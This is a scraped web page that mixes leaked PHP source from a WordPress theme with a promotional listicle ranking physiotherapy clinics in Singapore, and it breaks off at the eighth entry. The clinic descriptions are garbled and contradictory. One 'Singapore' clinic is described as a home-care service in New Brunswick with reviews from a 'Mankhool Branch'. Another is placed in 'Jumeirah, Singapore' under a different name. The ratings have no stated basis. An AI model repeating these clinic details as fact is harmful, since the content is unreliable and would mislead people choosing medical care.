astra_addon_get_megamenu_spacing_css( $spacing_obj ) { $gen_spacing_css = array(); foreach ( $spacing_obj as $property => $value ) { if ( '' == $value && 0 !== $value ) { continue; } $gen_spacing_css[ $property ] = esc_attr( $spacing_obj[ $property ] ) . 'px'; } return $gen_spacing_css; } /** * Check whether blogs post structure title & meta is disabled or not. * * @since 4.0.0 * @return bool True if blogs post structure title & meta is disabled else false. */ function astra_addon_is_blog_title_meta_disabled() { $blog_title_meta = astra_get_option( 'blog-post-structure' ); if ( is_array( $blog_title_meta ) && ! in_array( 'title-meta', $blog_title_meta ) ) { return true; } return false; } /** * Function which will return CSS for font-extras control. * It includes - line-height, letter-spacing, text-decoration, font-style. * * @param array $config contains extra font settings. * @param string $setting basis on this setting will return. * @param mixed $unit Unit. * * @since 4.0.0 */ function astra_addon_get_font_extras( $config, $setting, $unit = false ) { $css = isset( $config[ $setting ] ) ? $config[ $setting ] : ''; if ( $unit && $css ) { $unit_val = isset( $config[ $unit ] ) ? $config[ $unit ] : ''; $unit_val = 'line-height-unit' === $unit ? apply_filters( 'astra_font_line_height_unit', $unit_val ) : $unit_val; // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound $css .= $unit_val; } return $css; } /** * Function which will return CSS array for font specific props for further parsing CSS. * It includes - font-family, font-weight, font-size, line-height, text-transform, letter-spacing, text-decoration, color (optional). * * @param string $font_family Font family. * @param string $font_weight Font weight. * @param array $font_size Font size. * @param string $font_extras contains all font controls. * @param string $color In most of cases color is also added, so included optional param here. * * @return array * * @since 4.0.0 */ function astra_addon_get_font_array_css( $font_family, $font_weight, $font_size, $font_extras, $color = '' ) { $font_extras_ast_option = astra_get_option( $font_extras ); return array( 'color' => esc_attr( $color ), 'font-family' => astra_get_css_value( $font_family, 'font' ), 'font-weight' => astra_get_css_value( $font_weight, 'font' ), 'font-size' => ! empty( $font_size ) ? astra_responsive_font( $font_size, 'desktop' ) : '', 'line-height' => astra_addon_get_font_extras( $font_extras_ast_option, 'line-height', 'line-height-unit' ), 'text-transform' => astra_addon_get_font_extras( $font_extras_ast_option, 'text-transform' ), 'letter-spacing' => astra_addon_get_font_extras( $font_extras_ast_option, 'letter-spacing', 'letter-spacing-unit' ), 'text-decoration' => astra_addon_get_font_extras( $font_extras_ast_option, 'text-decoration' ), ); } /** * Checks reveal effect option for blog , WooCommerce and for custom post type. * * @param string $type - Type of condition. * @return bool * * @since 4.6.0 */ function astra_addon_check_reveal_effect_condition( $type = '' ) { $supported_post_types = class_exists( 'Astra_Posts_Structure_Loader' ) && is_callable( 'Astra_Posts_Structure_Loader::get_supported_post_types' ) ? Astra_Posts_Structure_Loader::get_supported_post_types() : array( 'post' ); $post_type = strval( get_post_type() ); $blog_layout = astra_addon_get_blog_layout(); $blog_list_layout = ( 'blog-layout-2' === $blog_layout || 'blog-layout-3' === $blog_layout || 'blog-layout-5' === $blog_layout ); $woo_reveal_condition = ( function_exists( 'is_woocommerce' ) && is_woocommerce() && ( is_shop() || is_product_taxonomy() ) && astra_get_option( 'shop-reveal-effect' ) ); $blog_reveal_condition = ( ( ( is_front_page() && 'posts' === get_option( 'show_on_front' ) ) || is_category() || is_tag() || is_home() ) && astra_get_option( 'blog-reveal-effect' ) && ( $blog_list_layout || ! astra_get_option( 'blog-masonry' ) ) ); $search_reveal_condition = ( is_search() && astra_get_option( 'blog-reveal-effect' ) ); $custom_post_reveal = in_array( $post_type, $supported_post_types ) && astra_get_option( 'archive-' . $post_type . '-ast-reveal-effect', false ); $condition = ''; if ( '' === $type || 'all' === $type ) { $condition = $woo_reveal_condition || $blog_reveal_condition || $search_reveal_condition || $custom_post_reveal; } if ( 'blog' === $type ) { $condition = $blog_reveal_condition || $search_reveal_condition; } if ( 'woocommerce' === $type ) { $condition = $woo_reveal_condition; } if ( 'cpt' === $type ) { $condition = $custom_post_reveal; } return $condition; } /** * Check Astra with modern blog setup. * * @since 4.6.0 */ function astra_addon_4_6_0_compatibility() { return is_callable( 'Astra_Dynamic_CSS::astra_4_6_0_compatibility' ) ? Astra_Dynamic_CSS::astra_4_6_0_compatibility() : false; }/** * Admin functions. * * @package BSF core */ if ( ! function_exists( 'bsf_generate_rand_token' ) ) { /** * Generate 32 characters random token. * * @return string */ function bsf_generate_rand_token() { $valid_characters = 'abcdefghijklmnopqrstuvwxyz0123456789'; $token = ''; $length = 32; for ( $n = 1; $n < $length; $n++ ) { $which_character = wp_rand( 0, strlen( $valid_characters ) - 1 ); $token .= $valid_characters[ $which_character ]; } return $token; } } /** * Update version numbers of all the brainstorm products in options `brainstorm_products` and `brainstrom_bundled_products` * * @todo Current version numbers can be fetched from WordPress at runtime whenever ruquired, * Remote version can only be required when transient for update data is deleted (i hope) */ if ( ! function_exists( 'bsf_update_all_product_version' ) ) { /** * Updates all product versions. * * @return void */ function bsf_update_all_product_version() { $brainstrom_products = get_option( 'brainstrom_products', array() ); $brainstrom_bundled_products = get_option( 'brainstrom_bundled_products', array() ); $bsf_product_themes = array(); if ( ! empty( $brainstrom_products ) ) : $bsf_product_plugins = ( isset( $brainstrom_products['plugins'] ) ) ? $brainstrom_products['plugins'] : array(); $bsf_product_themes = ( isset( $brainstrom_products['themes'] ) ) ? $brainstrom_products['themes'] : array(); endif; $bundled_product_updated = false; if ( ! empty( $bsf_product_plugins ) ) { foreach ( $bsf_product_plugins as $key => $plugin ) { if ( ! isset( $plugin['id'] ) || empty( $plugin['id'] ) ) { continue; } if ( ! isset( $plugin['template'] ) || empty( $plugin['template'] ) ) { continue; } if ( ! isset( $plugin['type'] ) || empty( $plugin['type'] ) ) { continue; } $version = ( isset( $plugin['version'] ) ) ? $plugin['version'] : ''; $current_version = bsf_get_current_version( $plugin['template'], $plugin['type'] ); $name = bsf_get_current_name( $plugin['template'], $plugin['type'] ); if ( '' !== $name ) { $brainstrom_products['plugins'][ $key ]['product_name'] = $name; } if ( '' !== $current_version ) { if ( version_compare( $version, $current_version ) === - 1 || 1 === version_compare( $version, $current_version ) ) { $brainstrom_products['plugins'][ $key ]['version'] = $current_version; } } } } if ( ! empty( $bsf_product_themes ) ) { foreach ( $bsf_product_themes as $key => $theme ) { if ( ! isset( $theme['id'] ) || empty( $theme['id'] ) ) { continue; } if ( ! isset( $theme['template'] ) || empty( $theme['template'] ) ) { continue; } if ( ! isset( $theme['type'] ) || empty( $theme['type'] ) ) { continue; } $version = ( isset( $theme['version'] ) ) ? $theme['version'] : ''; $current_version = bsf_get_current_version( $theme['template'], $theme['type'] ); $name = bsf_get_current_name( $theme['template'], $theme['type'] ); if ( '' !== $name ) { $brainstrom_products['themes'][ $key ]['product_name'] = $name; } if ( '' !== $current_version || false !== $current_version ) { if ( version_compare( $version, $current_version ) === - 1 || 1 === version_compare( $version, $current_version ) ) { $brainstrom_products['themes'][ $key ]['version'] = $current_version; } } } } if ( ! empty( $brainstrom_bundled_products ) ) { foreach ( $brainstrom_bundled_products as $keys => $bps ) { $version = ''; if ( strlen( $keys ) > 1 ) { foreach ( $bps as $key => $bp ) { if ( ! isset( $bp->id ) || '' === $bp->id ) { continue; } $version = $bp->version; $current_version = bsf_get_current_version( $bp->init, $bp->type ); if ( '' !== $current_version && false !== $current_version ) { if ( 1 === - version_compare( $version, $current_version ) || 1 === version_compare( $version, $current_version ) ) { if ( is_object( $brainstrom_bundled_products ) ) { $brainstrom_bundled_products = array( $brainstrom_bundled_products ); } $single_bp = $brainstrom_bundled_products[ $keys ]; $single_bp[ $key ]->version = $current_version; $bundled_product_updated = true; $brainstrom_bundled_products[ $keys ] = $single_bp; } } } } else { if ( ! isset( $bps->id ) || '' === $bps->id ) { continue; } $version = $bps->version; $current_version = bsf_get_current_version( $bps->init, $bps->type ); if ( '' !== $current_version || false !== $current_version ) { if ( - 1 === version_compare( $version, $current_version ) || 1 === version_compare( $version, $current_version ) ) { $brainstrom_bundled_products[ $keys ]->version = $current_version; $bundled_product_updated = true; } } } } } update_option( 'brainstrom_products', $brainstrom_products ); if ( $bundled_product_updated ) { update_option( 'brainstrom_bundled_products', $brainstrom_bundled_products ); } } } add_action( 'admin_init', 'bsf_update_all_product_version', 1000 ); if ( ! function_exists( 'bsf_get_current_version' ) ) { /** * Get current version of plugin / theme. * * @param string $template plugin template/slug. * @param string $type type of product. * * @return float */ function bsf_get_current_version( $template, $type ) { if ( '' === $template ) { return false; } if ( 'theme' === $type || 'themes' === $type ) { $theme = wp_get_theme( $template ); $version = $theme->get( 'Version' ); } elseif ( 'plugin' === $type || 'plugins' === $type ) { $plugin_file = rtrim( WP_PLUGIN_DIR, '/' ) . '/' . $template; if ( ! is_file( $plugin_file ) ) { return false; } $plugin = get_plugin_data( $plugin_file ); $version = $plugin['Version']; } return $version; } } if ( ! function_exists( 'bsf_get_current_name' ) ) { /** * Get name of plugin / theme. * * @param string $template plugin template/slug. * @param string $type type of product. * @return string */ function bsf_get_current_name( $template, $type ) { if ( '' === $template ) { return false; } if ( 'theme' === $type || 'themes' === $type ) { $theme = wp_get_theme( $template ); $name = $theme->get( 'Name' ); } elseif ( 'plugin' === $type || 'plugins' === $type ) { $plugin_file = rtrim( WP_PLUGIN_DIR, '/' ) . '/' . $template; if ( ! is_file( $plugin_file ) ) { return false; } $plugin = get_plugin_data( $plugin_file ); $name = $plugin['Name']; } return $name; } } add_action( 'admin_notices', 'bsf_notices', 1000 ); add_action( 'network_admin_notices', 'bsf_notices', 1000 ); if ( ! function_exists( 'bsf_notices' ) ) { /** * Display admin notices. * * @return bool */ function bsf_notices() { global $pagenow; if ( 'update-core.php' === $pagenow || 'plugins.php' === $pagenow || 'post-new.php' === $pagenow || 'edit.php' === $pagenow || 'post.php' === $pagenow ) { $brainstrom_products = get_option( 'brainstrom_products' ); $brainstrom_bundled_products = get_option( 'brainstrom_bundled_products', array() ); if ( empty( $brainstrom_products ) ) { return false; } $brainstrom_bundled_products_keys = array(); if ( ! empty( $brainstrom_bundled_products ) ) : foreach ( $brainstrom_bundled_products as $bps ) { foreach ( $bps as $key => $bp ) { array_push( $brainstrom_bundled_products_keys, $bp->id ); } } endif; $mix = array(); $plugins = ( isset( $brainstrom_products['plugins'] ) ) ? $brainstrom_products['plugins'] : array(); $themes = ( isset( $brainstrom_products['themes'] ) ) ? $brainstrom_products['themes'] : array(); $mix = array_merge( $plugins, $themes ); if ( empty( $mix ) ) { return false; } if ( ( defined( 'BSF_PRODUCTS_NOTICES' ) && ( 'false' === BSF_PRODUCTS_NOTICES || false === BSF_PRODUCTS_NOTICES ) ) ) { return false; } $is_multisite = is_multisite(); $is_network_admin = is_network_admin(); foreach ( $mix as $product ) : if ( ! isset( $product['id'] ) ) { continue; } if ( false === apply_filters( "bsf_display_product_activation_notice_{$product['id']}", true ) ) { continue; } if ( isset( $product['is_product_free'] ) && ( 'true' === $product['is_product_free'] || true === $product['is_product_free'] ) ) { continue; } $constant = strtoupper( str_replace( '-', '_', $product['id'] ) ); $constant_nag = 'BSF_' . $constant . '_NAG'; $constant_notice = 'BSF_' . $constant . '_NOTICES'; if ( defined( $constant_nag ) && ( 'false' === constant( $constant_nag ) || false === constant( $constant_nag ) ) ) { continue; } if ( defined( $constant_notice ) && ( 'false' === constant( $constant_notice ) || false === constant( $constant_notice ) ) ) { continue; } $status = ( isset( $product['status'] ) ) ? $product['status'] : false; $type = ( isset( $product['type'] ) ) ? $product['type'] : false; if ( ! $type ) { continue; } if ( 'plugin' === $type ) { if ( ! is_plugin_active( $product['template'] ) ) { continue; } } elseif ( 'theme' === $type ) { $theme = wp_get_theme(); if ( $product['template'] !== $theme->template ) { continue; } } else { continue; } if ( BSF_Update_Manager::bsf_is_product_bundled( $product['id'] ) ) { continue; } if ( 'registered' !== $status ) : $url = bsf_registration_page_url( '', $product['id'] ); $message = __( 'Please', 'bsf' ) . ' ' . __( 'activate', 'bsf' ) . ' ' . __( 'your copy of the', 'bsf' ) . ' ' . esc_html( $product['product_name'] ) . ' ' . __( 'to get update notifications, access to support features & other resources!', 'bsf' ); $message = apply_filters( "bsf_product_activation_notice_{$product['id']}", $message, $url, $product['product_name'] ); $allowed_html = array( 'a' => array( 'href' => array(), 'class' => array(), 'title' => array(), 'plugin-slug' => array(), ), 'br' => array(), 'em' => array(), 'strong' => array(), 'i' => array(), ); if ( ( $is_multisite && $is_network_admin ) || ! $is_multisite ) { echo '

' . wp_kses( $message, $allowed_html ) . '

'; } endif; endforeach; } } } // delete bundled products after switch theme. if ( ! function_exists( 'bsf_theme_deactivation' ) ) { /** * Delete transients while switching theme. * * @return void */ function bsf_theme_deactivation() { update_option( 'bsf_force_check_extensions', false ); } } add_action( 'switch_theme', 'bsf_theme_deactivation' ); add_action( 'deactivated_plugin', 'bsf_theme_deactivation' ); if ( ! function_exists( 'bsf_get_free_menu_position' ) ) { /** * Get free theme position. * * @param int $start menu position priority index. * @param float $increment increment number for menu position. * @return int */ function bsf_get_free_menu_position( $start, $increment = 0.3 ) { foreach ( $GLOBALS['menu'] as $key => $menu ) { $menus_positions[] = $key; } if ( ! in_array( $start, $menus_positions, true ) ) { return $start; } /* the position is already reserved find the closet one */ while ( in_array( $start, $menus_positions, true ) ) { $start += $increment; } return $start; } } if ( ! function_exists( 'bsf_get_option' ) ) { /** * Get free theme position. * * @param bool $request return complete option data OR a single variable. * @return array */ function bsf_get_option( $request = false ) { $bsf_options = get_option( 'bsf_options' ); if ( ! $request ) { return $bsf_options; } else { return ( isset( $bsf_options[ $request ] ) ) ? $bsf_options[ $request ] : false; } } } if ( ! function_exists( 'bsf_update_option' ) ) { /** * Update bsf option with key and value. * * @param string $request variable key. * @param string $value variable value. * @return bool */ function bsf_update_option( $request, $value ) { $bsf_options = get_option( 'bsf_options' ); $bsf_options[ $request ] = $value; return update_option( 'bsf_options', $bsf_options ); } } if ( ! function_exists( 'bsf_sort' ) ) { /** * Sort array of objects. * * @param string $a The first string. * @param string $b The second string. * @return int */ function bsf_sort( $a, $b ) { return strcmp( strtolower( $a->short_name ), strtolower( $b->short_name ) ); } }/** * The header for Astra Theme. * * This is the template that displays all of the section and everything up until
* * @link https://developer.wordpress.org/themes/basics/template-files/#template-partials * * @package Astra * @since 1.0.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } ?> Best Physiotherapist in Singapore – Top Ranked Elite /** * Single Post UI Improvement - Dynamic CSS * * @package astra-builder * @since 4.6.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } if ( apply_filters( 'astra_improvise_single_post_design', Astra_Dynamic_CSS::astra_4_6_0_compatibility() && is_single() ) ) { add_filter( 'astra_dynamic_theme_css', 'astra_single_post_css', 11 ); } /** * Single Post UI Improvement - Dynamic CSS * * @param string $dynamic_css Astra Dynamic CSS. * @return String Generated dynamic CSS for Pagination. * * @since 4.6.0 */ function astra_single_post_css( $dynamic_css ) { $is_boxed = astra_is_content_style_boxed(); $content_layout = astra_get_content_layout(); $post_with_unboxed_layout = ( 'plain-container' === $content_layout || 'narrow-container' === $content_layout ) && ! $is_boxed ? true : false; $static_css = ' :root { --ast-single-post-border: #e1e8ed; } .entry-content h1, .entry-content h2, .entry-content h3, .entry-content h4, .entry-content h5, .entry-content h6 { margin-top: 1.5em; margin-bottom: calc(0.3em + 10px); } code, kbd, samp { background: var(--ast-code-block-background); padding: 3px 6px; } .ast-row.comment-textarea fieldset.comment-form-comment { border: none; padding: unset; margin-bottom: 1.5em; } .entry-content > * { margin-bottom: 1.5em; } .entry-content .wp-block-image, .entry-content .wp-block-embed { margin-top: 2em; margin-bottom: 3em; } '; if ( $post_with_unboxed_layout ) { $static_css .= ' :root { --ast-single-post-nav-padding: 4em 0 0; } .ast-single-post .ast-post-format-content { max-width: 100%; } .post-navigation + .comments-area { border-top: none; padding-top: 5em; } '; } else { $nav_padding = astra_check_current_post_comment_enabled() || 0 < get_comments_number() ? '3em 0 1em' : '3em 0 0'; $static_css .= ' :root { --ast-single-post-nav-padding: ' . $nav_padding . '; } '; } $dynamic_css .= Astra_Enqueue_Scripts::trim_css( $static_css ); return $dynamic_css; }

Best Physiotherapist in Singapore

Finding the best physiotherapist in Singapore is really difficult when you are living in the hub of a physiotherapist. Physiotherapy is good in curing constant pain affects people’s daily life activities, so the best physiotherapist is required to treat all your problems. One of the best physiotherapists can only help you to get rid of pain and enjoy life as you want. This article is all about the nearby physiotherapists who can facilitate you in the best possible way. We have listed a few of the best-trusted physiotherapists in Singapore for you to find. With all this, we have shortlisted the physiotherapist according to their availability, expertise and cost. When choosing the best physiotherapist in Singapore, you must ensure that the staff is professional and experts in their field; otherwise, it can harm you. Read this article before choosing a trustable and best physiotherapist in Singapore.

Top 10 Best Physiotherapist in Singapore

Clinic Expertise Ratings
1. Pro Rehab. Restoring mobility with expert therapeutic techniques. 10/10
2. Physio & Sole Cinic. Specialized in personalized recovery and rehabilitation plans. 9.8/10
3.Rehab & Beyond. Focused on pain relief and functional improvement. 9.6/10
4.The Rehab lab (Sports & Spine Physiotherapy Clinic) Combining expertise and care for faster healing. 9.4/10
5. Elite Spine Centres. Tailored therapies for optimal physical performance recovery. 9.2/10
6. Altum Physio Pilates. Innovative methods promoting long-term physical wellness. 9/10
7. Heal 360 Physioclinic. Dedicated to enhancing movement and reducing discomfort. 8.8/10
8.Rapid Physiocare. Providing holistic approaches for comprehensive patient care. 8.6/10
9. Urban Rehab Physiotherapy. Expert guidance for restoring strength and flexibility. 8.4/10
10. Hearthland Rehab. Committed to achieving recovery through proven techniques 8.2/10

1. Pro Rehab

Responsive Grid Layout

Pro Rehab is one of the oldest healthcare centres, providing invaluable services since March 2008 to Miramichi and surrounding areas. It is operated by Lisa Williams, BA, BAA, and BEd, who is recognized as a valued member of the New Brunswick Home Support Association. Recently, she has joined the Education and Training Committee for the province of New Brunswick, which aims to establish a unified training curriculum for all home support caregivers. We have utilized this curriculum to deliver certified training to current and future employees as Personal Care Aides (PCA).

 If you are searching for the best physiotherapist in Singapore at affordable rates, Pro Rehab can be an excellent choice. They offer countless services, including companionship, home care, long-term care, and personal care. The staff is remarkably cooperative and professional, and they actively motivate the bodies and minds of the patients through engaging activities such as playing cards or solving crossword puzzles. This commitment to care is why Pro Rehab is regarded as one of the best physiotherapist centres, where you can effectively eliminate all your pain.

 Don’t just take our word for it; see what our loyal patients are saying about us:

 “The caregiver helps my mom with everything: getting dressed, meals, housekeeping, etc. It allows me to leave the house to pay bills, pick up groceries, and run other errands, especially since I don’t have brothers or sisters to help me care for my mother.”

 “Pro Rehab allows the client to continue to function in their own home, and since the caregiver only has one client at a time, the service is of higher quality and proper attention is given. It is comforting for someone with dementia to stay in a place they recognize instead of being with strangers.”

 Rashed Elzayat shared his thoughts a month ago: “I recently visited Pro Rehab, Mankhool Branch, and I am thoroughly impressed with the level of care and service I received. From the moment I arrived…”

 Rula Al-Shalabi commented in the last week: “No words can describe Dr. Vinu Thomas. He is a better, kind, professional, and the most wonderful doctor in the world. He knows everything he needs…”

 Bhairab Thapa (Bhairab) added a month ago: “@Dr. Swati Pawar (Gynecologist, Mankhool Branch) Dear Dr. Swati, I wanted to take a moment to sincerely thank you for the exceptional care and support you’ve provided…”

 At Pro Rehab, we are dedicated to delivering quality care and support to our patients, ensuring that they receive the best possible treatment in a nurturing environment.

2.Physio & Sole Clinic

Responsive Grid Layout

170 Upp Bukit Timah Road, #09-02 Bukit Timah Shopping; 247 Hougang Avenue 3, #01-444

083404723

physioandsole.com.sg

Physio & Sole Clinic is the perfect choice if you are looking for home services. They assist you in managing and preventing several physical impairments caused by injury, illness, lifestyle, and aging in the comfort of your home.

 For patients with severe issues, getting to the hospital can be a significant challenge, making it difficult for them to receive the necessary care. Understanding this, Physio & Sole Clinic prioritizes the convenience of their patients, ensuring you can receive physiotherapy treatment right at home. Maintaining a person’s mobility, strength, and overall health is essential, and if you want to build strength in your body, connect with Physio & Sole Clinic.

 Achieving your therapy goals has never been easier, thanks to their highly skilled physiotherapists who can come to your home fully equipped with all the necessary tools and techniques.

 Whether you are in the process of recovering from an injury, managing a chronic condition, or simply aiming to enhance your overall physical well-being, their at-home physiotherapy services can be incredibly beneficial. The therapists will collaborate with you to create a personalized treatment plan tailored specifically to your needs and goals. They offer continuous support and guidance to help you achieve long-lasting results. Each patient is assigned an experienced physiotherapist who provides attentive care and actively aids in the healing process.

 The comprehensive physiotherapy services offered by Physio & Sole Clinic include strength training, therapeutic massages, targeted exercises, balance training, correction of imbalances, posture improvement, and neuro-developmental therapy. All these services are administered by trained and knowledgeable professionals. For top-notch in-home care services, look no further than Physio & Sole Clinic. They have established a solid reputation for delivering exceptional home health care services.

 Jean Moraros shared her experience three months ago: “Dr. Zafer and nurse Ahmed were so composed. They managed to ease my pain swiftly… Dr. Zafer had very clear input on what…”

 Mi commented a month ago: “After my surgery, the nurse helped me so much at home because I could not move. She also assisted my nanny with my son. Thank you…”

 At Physio & Sole Clinic, you can expect a commitment to quality care that prioritizes your health and comfort, ensuring you receive the best possible support during your recovery.

3. Rehab & Beyond

Responsive Grid Layout

79 Anson Rd, #21-01, Singapore 079906

+65 9154 4517

gobeyondrehab.sg

At the clinics, they have a dedicated and passionate team comprising global talent who offer a wide range of health treatments, including chiropractic and physiotherapy services suitable for the entire family. They take pride in caring for patients of all age groups, including infants and pregnant women.

The expertise of Rehab & Beyond lies in several different fields:

  • Chiropractic Treatments
  • Physiotherapy
  • Non-Surgical Spinal Decompression Therapy
  • Massage & Rehabilitation
  • Acupuncture & Traditional Chinese Medicine
  • Nutrition

Rehab & Beyond Clinic offers top-quality chiropractic treatments that effectively cater to a diverse range of patients in the Middle East region. With a team of experienced chiropractors in Singapore, they have successfully provided exceptional care to patients worldwide. The chiropractors have honed their treatment methods over decades of experience gained in various countries, including Italy, Singapore, the USA, Bermuda, Mauritius, South Africa, India, Denmark, Germany, Holland, Lebanon, and the UK. Whether you are dealing with a sports injury, back pain, headaches, neck pain, disc herniation, leg pain, scoliosis, frozen shoulder, or any other discomfort, their dedicated team of chiropractors, physiotherapists, and massage therapists in Singapore is equipped with the expertise to ensure a pain-free life for you.

At Rehab & Beyond, patients often collaborate with the physiotherapy department, where qualified staff follow the treatment protocol recommended by your chiropractor. Under the guidance of the chiropractor, the physiotherapist complements your chiropractic treatment with various therapeutic approaches to expedite your complete recovery. Physiotherapy may include manual therapy, mobilization techniques, customized exercise programs, and the utilization of their advanced Zimmer equipment, which combines ultrasound, electro-stimulation, and Electro-Stimulation therapies. Each patient receives the appropriate therapy based on their condition at each stage of the healing process.

Whether your physiotherapy session occurs before or after your chiropractic treatment, integrating these treatments aids in the rehabilitation process by promoting the development and restoration of the body’s systems, particularly the neuromuscular and musculoskeletal systems. This integration enables patients to regain pain-free movement and improved function as quickly as possible.

The highly skilled physiotherapists at Rehab & Beyond treat patients of all ages for various conditions, including injuries and fractures (including sports injuries), muscle, ligament, joint issues, post-surgical rehabilitation, postural problems, decreased mobility, and neurological conditions. Treatment methods involve encouraging patients to return to regular exercise and mobility through manual and mechanical techniques such as therapeutic mobility and exercise therapy, different forms of massage, manual lymphatic drainage, ultrasound, TENS, and electrotherapy. A notable aspect of the treatment approach is the advanced Zimmer system, which helps reduce overall pain levels and is often profoundly relaxing for patients.

If your doctor has advised or referred you solely for physiotherapy, please contact Rehab & Beyond, as they will be delighted to assist you with an appropriate treatment plan tailored to your needs.

4. The Rehab Lab (Sports & Spine Physiotherapy Clinic)

Responsive Grid Layout

Tessensohn Rd, #02-00 Civil Service Club, 60, Singapore 217664

+65 9229 1337

therehablabsg.com/

  • Sports & Spine Physiotherapy Clinic is a healthcare profession that focuses on the treatment of human function and movement. Its primary goal is to promote, maintain, and restore physical well-being by addressing physical conditions. The clinic specializes in various areas, including sports medicine, musculoskeletal disorders, post-operative and injury rehabilitation, back and neck injuries, manipulation and manual therapy techniques, muscle balancing, and hands-on physiotherapy treatment.
  •  
  • The clinic is dedicated to delivering a high standard of service, ensuring that each patient undergoes a comprehensive assessment. Based on their specific problem, individuals are provided with an individualized treatment plan tailored to their unique needs.
  •  
  • Many of the physiotherapists at the clinic have extensive experience in dealing with sports-related injuries and have actively participated in prestigious sporting events both in Singapore and abroad. They have supported events such as Rugby 7’s, Australian Rules Football, Tennis, Football 7’s, and more.
  •  
  • Furthermore, the clinic’s team members are passionate about sports and actively engage in various activities such as rugby, marathons, golf, triathlons, cycling, dragon boating, diving, sailing, yoga, and skiing. This firsthand involvement provides them with a profound understanding of sporting injuries and the path to recovery.
  •  
  • Sports & Spine Physiotherapy Clinic provides several services. Their qualified experts are knowledgeable in the following fields:
  •  
  • – Manual Therapy for all musculoskeletal injuries
  • – Sports injury and prevention programs
  • – Pre and Post-operative Rehabilitation
  • – Neck, back, and spinal rehabilitation
  • – Clinical Pilates and core stabilization programs
  • – Women’s Health
  • – Ergonomics
  •  

With their expertise and commitment to patient care, Sports & Spine Physiotherapy Clinic is well-equipped to support individuals in achieving their rehabilitation and wellness goals.

5.Elite Spine Centres

Responsive Grid Layout

2 Kallang Avenue, CT Hub 1, Singapore 339407

+65 6904 8400 or +65 9727 3603

elitespinecentres.com

Elite Spine Centres is one of the well-known clinics where you can find the best physiotherapist in Singapore to relieve your injuries or pain caused by illness. If you are searching for an experienced physiotherapist, Elite Spine Centres is the best choice, as many physiotherapists are dedicated to giving their all to help you regain strength.

 One of the best physiotherapists at the clinic, Vesela Vasileva, holds a Master’s degree in Physiotherapy and rehabilitation from the National Sports Academy of Bulgaria. As a therapist, she treats various injuries with a customized approach tailored to every patient. Her expertise includes:

– Manual therapy

– Dry needling therapy

– Kinetic control

– Kinesio taping

– Dynamic cupping therapy

 Elite Spine Centres LLC is a privately held organization chaired by Mr. Ahmad Abdulrahim Baker, who also serves as the Chairman of the DUTCO Group of Companies. One of Elite Spine Centres LLC’s subsidiaries is Elite Spine Centres, which was established in Singapore in 1976 under Dr. Roger Akel’s Medical Centre.

 Today, Elite Spine Centres is a renowned healthcare provider in Singapore, serving individuals, families, local corporations, and multinational companies with a dedicated workforce of nearly 200 professionals. The team is committed to delivering safe and efficient medical, dental, and emergency services.

 Our clinics are designed to provide comfort and are equipped with modern facilities. They are strategically located near significant neighborhoods across Singapore. With a family-oriented atmosphere, we strive to meet the diverse healthcare needs of our patients. The comprehensive medical services encompass various specialties such as Aviation Medicine, Cardiology, Dermatology, Dietetics, ENT, Family Medicine, Gastroenterology, General Practice, Gynecology, Internal Medicine, Obstetrics, Ophthalmology, Orthopedics, Pediatrics, Pathology, Physiotherapy, Radiology, Dentistry, and Emergency care.

 At Elite Spine Centres, we prioritize patient well-being and are dedicated to offering top-notch healthcare services to our community.

6.Altum Physio Pilates

Responsive Grid Layout

Orchard Rendezvous Hotel 04-16 1 Tanglin Road, Singapore 247905

+65 9278 1685

altumphysiopilates.com

Located in Jumeirah, Singapore, Physiowell is a well-established centre that offers chiropractic, osteopathy, and Altum Physio Pilates. The team of experienced physiotherapists possesses comprehensive expertise in rehabilitation and physical treatments at an advanced level. With a focus on manual manipulation of joints, muscles, and neuro-muscular tissues, our chiropractor in Singapore consistently delivers outstanding treatment outcomes that patients highly recognize.

At Altum Physio Pilates, they specialize in utilizing proven and effective physiotherapeutic techniques within a comfortable and safe environment. If you’re searching for one of the best physiotherapy centres near you, Altum Physio Pilates is the right choice. The dedicated physiotherapists are committed to providing tailored assistance based on your individual needs. The medical team consists of knowledgeable and experienced clinicians who excel in delivering a wide range of bone and joint rehabilitation services. They prioritize your well-being by employing modern technology and providing high-quality services, all aimed at helping you achieve your wellness goals.

Physiowell is dedicated to fostering a supportive atmosphere for patients, ensuring they receive the best care possible. Whether you require chiropractic services, osteopathy, or specialized Pilates training, the team at Physiowell is here to assist you on your journey to improved health and wellness.

7.Heal 360 Physioclinic

Responsive Grid Layout

46 Tras Street S078985

+65 6224 4178

physioclinic.sg

If you are facing any pain, stiffness, or limited movement that is creating a hindrance in your daily life activities, then it’s apparent that you need the best physiotherapist in Singapore. At Heal 360 Physioclinic, you’ll regain full range of motion again if you have had any injury or illness. That’s why it’s one of the finest choices Singapore offers you.

Heal 360 Physioclinic was founded in 2004 by Canadian Chiropractor Dr. Ahmed Fares. It was formerly known as Chiropractic Health and Physiotherapy Clinic and has emerged as a leading provider of chiropractic and physiotherapy services in Singapore’s healthcare market. Over the past 14 years, they have consistently delivered top-quality healthcare to the growing community of Singapore, earning the trust of numerous local and expatriate families.

Our most common services include:

– Kinesiology Taping

– Rehabilitation in Singapore

– Post-Surgery Physiotherapy

– Shockwave Therapy

– Lymphatic Drainage

– TMJ Treatment

– Bell’s Palsy Treatment by European Physiotherapists

– Dry Needling / Dry Cupping

At Heal 360 Physioclinic, the skilled professionals adopt a comprehensive approach to physical therapy. They view the body as a unified entity and prioritize overall health and well-being.

Considering your lifestyle, occupation, and hobbies, they personalize a treatment plan that suits your specific requirements. By employing gentle, non-invasive techniques, they effectively address various musculoskeletal conditions and assist in their management.

Heal 360 Physioclinic boasts state-of-the-art healthcare technology, providing access to the most advanced methods and equipment. The facility offers cutting-edge services, including healthcare imaging, electrotherapy, shockwave therapy, ultrasound, and traction. Moreover, their recent expansion into dermatology brings an added advantage, as their board-certified specialists deliver top-notch care, offering the latest mole mapping and skin treatment advancements. With their comprehensive healthcare approach, they ensure efficient and effective healing provided by their team of highly skilled experts.

Call us today to clear all your queries, as they offer the cheapest individual plans to treat your impairments. At Heal 360 Physioclinic, your health and well-being are our top priorities!

8.Rapid Physiocare

Responsive Grid Layout

10 Anson Road 21-15 International Plaza, Singapore 079903

+65 6904 4900

rapidphysiocare.com/

